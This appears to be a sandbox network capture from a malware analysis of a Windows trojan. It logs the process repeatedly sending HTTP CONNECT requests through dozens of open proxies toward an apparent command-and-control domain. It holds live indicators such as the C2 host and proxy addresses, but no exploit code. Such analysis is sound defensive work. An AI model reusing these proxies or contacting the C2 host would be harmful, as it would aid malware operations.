Feb 23, 2024 14:29:00.933237076 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49939	8.213.128.6	2020	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.551145077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.864794016 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	50085	172.67.182.150	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.569367886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.657097101 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	50101	172.67.181.32	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.587198973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.675568104 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	50112	104.16.226.6	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.593105078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.680041075 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	50135	162.159.242.109	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.608099937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.695862055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	50170	104.27.83.183	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.635216951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.722464085 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	50072	91.189.177.190	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.653019905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.089092970 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	50211	172.67.219.60	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.661286116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.748507977 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	50183	34.135.166.24	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.669595957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.007215023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.350970984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.038570881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.413506985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882559061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.382546902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.195028067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.695019007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	50123	5.9.98.142	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.725426912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	50241	185.238.228.202	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.725682974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.813129902 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	50017	146.190.84.209	9445	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.737020969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.397870064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.351001978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.382473946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.195107937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.992203951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.882664919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.494110107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:00.569736958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	50198	34.83.143.6	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.737163067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.074003935 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	50128	113.30.149.76	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.745953083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	50193	141.94.174.6	33466	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.747318983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	50029	103.216.50.11	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.747672081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.096055984 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	50254	104.23.126.8	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.747673035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
